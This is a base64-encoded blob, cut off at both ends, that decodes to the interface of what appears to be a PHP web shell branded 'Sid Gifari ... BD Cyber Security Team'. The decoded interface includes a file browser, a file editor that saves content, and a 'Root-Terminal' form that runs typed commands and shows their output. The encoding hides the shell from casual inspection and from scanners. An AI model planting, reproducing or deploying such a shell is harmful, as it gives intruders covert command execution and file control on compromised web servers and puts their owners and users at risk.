1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBjb2xvcjogIzIyMjsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsKICAgICAgICB9CiAgICAgICAgLnBhdGgtbmF2IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTW9uYWNvJywgJ0NvbnNvbGFzJywgbW9ub3NwYWNlOwogICAgICAgICAgICBjb2xvcjogIzQ0NDsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOwogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgYSB7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDNweCA2cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiBiYWNrZ3JvdW5kIDAuMnM7IAogICAgICAgICAgICBmb250LXdlaWdodDogNTAwOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgYTpob3ZlciB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZThlOGU4OyAKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgfQogICAgICAgIC5tYWluLWNvbnRlbnQgeyAKICAgICAgICAgICAgcGFkZGluZzogMTVweDsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmYWZhZmE7CiAgICAgICAgfQogICAgICAgIC5zZWN0aW9uIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTJweDsgCiAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMXB4IDNweCByZ2JhKDAsMCwwLDAuMDQpOyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICB9CiAgICAgICAgLnNlY3Rpb24tdGl0bGUgeyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsgCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA4cHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxNXB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOyAKICAgICAgICAgICAgZ2FwOiA4cHg7IAogICAgICAgICAgICBmb250LXdlaWdodDogNjAwOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtYm94IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7IAogICAgICAgICAgICBjb2xvcjogI2UwZTBlMDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7IAogICAgICAgICAgICBmb250LWZhbWlseTogJ01vbmFjbycsICdDb25zb2xhcycsIG1vbm9zcGFjZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMzMzsKICAgICAgICB9CiAgICAgICAgLnRlcm1pbmFsLW91dHB1dCB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDAwOyAKICAgICAgICAgICAgY29sb3I6ICMwNWY1NTk7IAogICAgICAgICAgICBwYWRkaW5nOiAxMnB4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnQ29uc29sYXMnLCBtb25vc3BhY2U7IAogICAgICAgICAgICBtYXgtaGVpZ2h0OiAyMDBweDsgCiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87IAogICAgICAgICAgICB3aGl0ZS1zcGFjZTogcHJlLXdyYXA7IAogICAgICAgICAgICBtYXJnaW46IDEwcHggMDsgCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjM7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzOwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5mb3JtLWlubGluZSB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZ2FwOiA4cHg7IAogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMnB4OyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgfQogICAgICAgIGlucHV0LCBidXR0b24sIHNlbGVjdCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OyAKICAgICAgICAgICAgb3V0bGluZTogbm9uZTsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZmZjsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgfQogICAgICAgIGlucHV0W3R5cGU9InRleHQiXSwgaW5wdXRbdHlwZT0iZmlsZSJdIHsgCiAgICAgICAgICAgIGZsZXg6IDE7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmFmYWZhOyAKICAgICAgICB9CiAgICAgICAgaW5wdXQ6Zm9jdXMgeyAKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDAgMnB4IHJnYmEoMTAwLCAxMDAsIDEwMCwgMC4xKTsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmZmY7CiAgICAgICAgfQogICAgICAgIGJ1dHRvbiB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjMzMzIDAlLCAjMjIyIDEwMCUpOyAKICAgICAgICAgICAgY29sb3I6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyOiBub25lOyAKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDYwMDsgCiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAwLjNweDsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjJzOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE0cHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7CiAgICAgICAgfQogICAgICAgIGJ1dHRvbjpob3ZlciB7IAogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IAogICAgICAgICAgICBib3gtc2hhZG93OiAwIDNweCA2cHggcmdiYSgwLDAsMCwwLjEpOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzQ0NCAwJSwgIzMzMyAxMDAlKTsKICAgICAgICB9CiAgICAgICAgLmJ0bi1kYW5nZXIgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2QzMmYyZiAwJSwgI2I3MWMxYyAxMDAlKTsgCiAgICAgICAgfQogICAgICAgIC5idG4tZGFuZ2VyOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgI2U1MzkzNSAwJSwgI2M2MjgyOCAxMDAlKTsKICAgICAgICB9CiAgICAgICAgLmJ0bi1zdWNjZXNzIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMzODhlM2MgMCUsICMyZTdkMzIgMTAwJSk7IAogICAgICAgIH0KICAgICAgICAuYnRuLXN1Y2Nlc3M6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjNDNhMDQ3IDAlLCAjMzg4ZTNjIDEwMCUpOwogICAgICAgIH0KICAgICAgICB0YWJsZSB7IAogICAgICAgICAgICB3aWR0aDogMTAwJTsgCiAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogc2VwYXJhdGU7IAogICAgICAgICAgICBib3JkZXItc3BhY2luZzogMDsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIH0KICAgICAgICB0aGVhZCB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgY29sb3I6ICMyMjI7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2UwZTBlMDsKICAgICAgICB9CiAgICAgICAgdGggeyAKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7IAogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgIH0KICAgICAgICB0Ym9keSB0ciB7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2YwZjBmMDsgCiAgICAgICAgICAgIHRyYW5zaXRpb246IGJhY2tncm91bmQgMC4yczsgCiAgICAgICAgfQogICAgICAgIHRib2R5IHRyOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOGY4Zjg7IAogICAgICAgIH0KICAgICAgICB0ZCB7IAogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2YwZjBmMDsgCiAgICAgICAgICAgIGNvbG9yOiAjNDQ0OwogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogdG9wOwogICAgICAgIH0KICAgICAgICAuZmlsZS1pY29uIHsgCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogOHB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxZW07IAogICAgICAgICAgICBjb2xvcjogIzY2NjsKICAgICAgICB9CiAgICAgICAgLmZvbGRlci1yb3cgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZhZmFmYTsgCiAgICAgICAgfQogICAgICAgIC5maWxlLXJvdyB7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOyAKICAgICAgICB9CiAgICAgICAgLmFjdGlvbnMgeyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGdhcDogNnB4OyAKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOyAKICAgICAgICB9CiAgICAgICAgLmFjdGlvbnMgYnV0dG9uIHsgCiAgICAgICAgICAgIHBhZGRpbmc6IDZweCAxMHB4OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OyAKICAgICAgICB9CiAgICAgICAgdGV4dGFyZWEgeyAKICAgICAgICAgICAgd2lkdGg6IDEwMCU7IAogICAgICAgICAgICBoZWlnaHQ6IDQwMHB4OyAKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCAnQ29uc29sYXMnLCBtb25vc3BhY2U7IAogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDsgCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweDsgCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7IAogICAgICAgICAgICByZXNpemU6IHZlcnRpY2FsOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogI2ZhZmFmYTsKICAgICAgICAgICAgY29sb3I6ICMzMzM7CiAgICAgICAgfQogICAgICAgIHRleHRhcmVhOmZvY3VzIHsKICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNjY2OwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZmZmOwogICAgICAgIH0KICAgICAgICAuYWxlcnQgeyAKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgbWFyZ2luOiAxMnB4IDA7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsgCiAgICAgICAgICAgIGdhcDogMTBweDsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkOwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIC5hbGVydC1zdWNjZXNzIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOGY1ZTk7IAogICAgICAgICAgICBjb2xvcjogIzJlN2QzMjsgCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzY2YmI2YTsgCiAgICAgICAgfQogICAgICAgIC5mb290ZXIgeyAKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOyAKICAgICAgICAgICAgcGFkZGluZzogMTVweDsgCiAgICAgICAgICAgIGNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OyAKICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNlOGU4ZTg7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICB9CiAgICAgICAgLnF1aWNrLWFjdGlvbnMgeyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGdhcDogMTBweDsgCiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsgCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IAogICAgICAgIH0KICAgICAgICAucXVpY2stYnRuIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7IAogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOyAKICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7IAogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7IAogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgIH0KICAgICAgICAucXVpY2stYnRuOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOGU4ZTg7IAogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFweCk7IAogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICB9CiAgICAgICAgLnN0YXRzIHsgCiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7IAogICAgICAgICAgICBnYXA6IDIwcHg7IAogICAgICAgICAgICBtYXJnaW46IDEycHggMDsgCiAgICAgICAgICAgIHBhZGRpbmc6IDEycHg7IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjhmOGY4OyAKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OyAKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICB9CiAgICAgICAgLnN0YXQtaXRlbSB7IAogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OyAKICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7IAogICAgICAgIH0KICAgICAgICAuc3RhdC12YWx1ZSB7IAogICAgICAgICAgICBmb250LXNpemU6IDEuNWVtOyAKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7IAogICAgICAgICAgICBjb2xvcjogIzIyMjsgCiAgICAgICAgfQogICAgICAgIC5zdGF0LWxhYmVsIHsgCiAgICAgICAgICAgIGNvbG9yOiAjNjY2OyAKICAgICAgICAgICAgZm9udC1zaXplOiAwLjg1ZW07IAogICAgICAgIH0KICAgICAgICBhIHsKICAgICAgICAgICAgY29sb3I6ICMyMjI7CiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDUwMDsKICAgICAgICB9CiAgICAgICAgYTpob3ZlciB7CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsKICAgICAgICB9CiAgICAgICAgY29kZSB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmMGYwZjA7CiAgICAgICAgICAgIHBhZGRpbmc6IDFweCA0cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdNb25hY28nLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGNvbG9yOiAjMjIyOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkOwogICAgICAgICAgICBmb250LXNpemU6IDExcHg7CiAgICAgICAgfQogICAgICAgIC5jb21wYWN0LXRhYmxlIHsKICAgICAgICAgICAgZm9udC1zaXplOiAxMXB4OwogICAgICAgIH0KICAgICAgICAuY29tcGFjdC10YWJsZSB0aCwKICAgICAgICAuY29tcGFjdC10YWJsZSB0ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxMHB4OwogICAgICAgIH0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogNzY4cHgpIHsKICAgICAgICAgICAgYm9keSB7IHBhZGRpbmc6IDVweDsgfQogICAgICAgICAgICAuaGVhZGVyIGgxIHsgZm9udC1zaXplOiAxLjNlbTsgfQogICAgICAgICAgICAuZm9ybS1pbmxpbmUgeyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBhbGlnbi1pdGVtczogc3RyZXRjaDsgfQogICAgICAgICAgICAucXVpY2stYWN0aW9ucyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IH0KICAgICAgICAgICAgLmFjdGlvbnMgeyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyB9CiAgICAgICAgICAgIC5zdGF0cyB7IGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47IGdhcDogMTBweDsgfQogICAgICAgICAgICB0aCwgdGQgeyBwYWRkaW5nOiA2cHggOHB4OyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICAgICAgdGFibGUgeyBmb250LXNpemU6IDExcHg7IH0KICAgICAgICB9CiAgICAgICAgLmZpbGUtYnJvd3Nlci1jb250YWluZXIgewogICAgICAgICAgICBtYXgtaGVpZ2h0OiA1MDBweDsKICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2U4ZThlODsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4OwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtaW5wdXQtcm93IHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgZ2FwOiA4cHg7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1pbnB1dC1yb3cgaW5wdXQgewogICAgICAgICAgICBmbGV4OiAxOwogICAgICAgIH0KICAgIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlciI+CiAgICAgICAgICAgIDxjZW50ZXI+PGltZyBzcmM9Imh0dHBzOi8vaS5pbWd1ci5jb20vRkMxZW5PVS5qcGVnIiB3aWR0aD0iMjAwIiBoZWlnaHQ9IjE1MCI+PC9jZW50ZXI+CiAgICAgICAgICAgIDxoMT5TaWQgR2lmYXJpIEZyb20gR2lmYXJpIEluZHVzdHJpZXMgLSBCRCBDeWJlciBTZWN1cml0eSBUZWFtPC9oMT4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPD9waHAgaWYgKCR3cF9tZXNzYWdlKTogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4KICAgICAgICAgICAgPD9waHAgZWNobyAkd3BfbWVzc2FnZTsgPz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgPGRpdiBjbGFzcz0icGF0aC1uYXYiPgogICAgICAgICAgICA8YSBocmVmPSI/Ij5Ib21lPC9hPiAvCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICRwYXRoX3BhcnRzID0gZXhwbG9kZSgnLycsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGN1cnJlbnRfZGlyKSk7CiAgICAgICAgICAgICRidWlsZF9wYXRoID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRwYXRoX3BhcnRzIGFzICRwYXJ0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHBhcnQgPT09ICcnKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRidWlsZF9wYXRoIC49ICcvJyAuICRwYXJ0OwogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGJ1aWxkX3BhdGgpKSAuICciPicgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICc8L2E+IC8gJzsKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgogICAgICAgICAgICA8P3BocCBpZiAoJGVkaXRNb2RlKTogPz4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7inI/vuI88L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPkVkaXRpbmc6IDw/PSBodG1sc3BlY2lhbGNoYXJzKCRlZGl0RmlsZSkgPz48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZWRpdF9maWxlIiB2YWx1ZT0iPD89IGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBwbGFjZWhvbGRlcj0iRmlsZSBjb250ZW50Li4uIj48Pz0gJGVkaXRDb250ZW50ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1pbmxpbmUiIHN0eWxlPSJtYXJnaW4tdG9wOiAxNXB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bi1zdWNjZXNzIiBzdHlsZT0icGFkZGluZzogMTBweCAyMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg8J+SviBTYXZlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgc3R5bGU9InBhZGRpbmc6IDEwcHggMjBweDsgYmFja2dyb3VuZDogIzY2NjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDinYwgQ2FuY2VsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXRzIj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gY291bnQoJGZvbGRlcnMpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPkZvbGRlcnM8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWl0ZW0iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48Pz0gY291bnQoJGZpbGVzKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5GaWxlczwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/PSBmb3JtYXRCeXRlcyhhcnJheV9zdW0oYXJyYXlfY29sdW1uKCRmaWxlcywgJ3NpemUnKSkpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXQtbGFiZWwiPlRvdGFsIFNpemU8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0ic2VjdGlvbi10aXRsZSI+U2lkR2lmYXJpQFJvb3QtVGVybWluYWwgPC9oMj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib3giPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nIHN0eWxlPSJjb2xvcjogI2ZmZjsgZm9udC1zaXplOiAxMnB4OyI+U2lkLUdpZmFyaUByb290Ojw/PSBodG1sc3BlY2lhbGNoYXJzKCR0ZXJtaW5hbF9jd2QpID8+JDwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJHRlcm1pbmFsX291dHB1dCk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLW91dHB1dCI+PD89IGh0bWxzcGVjaWFsY2hhcnMoJHRlcm1pbmFsX291dHB1dCkgPz48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9InRlcm1pbmFsLWlucHV0LXJvdyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGNvbW1hbmQuLi4iIGF1dG9jb21wbGV0ZT0ib2ZmIiBhdXRvZm9jdXMgc3R5bGU9ImJhY2tncm91bmQ6ICMyYTJhMmE7IGJvcmRlci1jb2xvcjogIzQ0NDsgY29sb3I6ICNlMGUwZTA7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbCIgdmFsdWU9IjEiIHN0eWxlPSJtaW4td2lkdGg6IDcwcHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDilrYgWmlrLVphawogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgI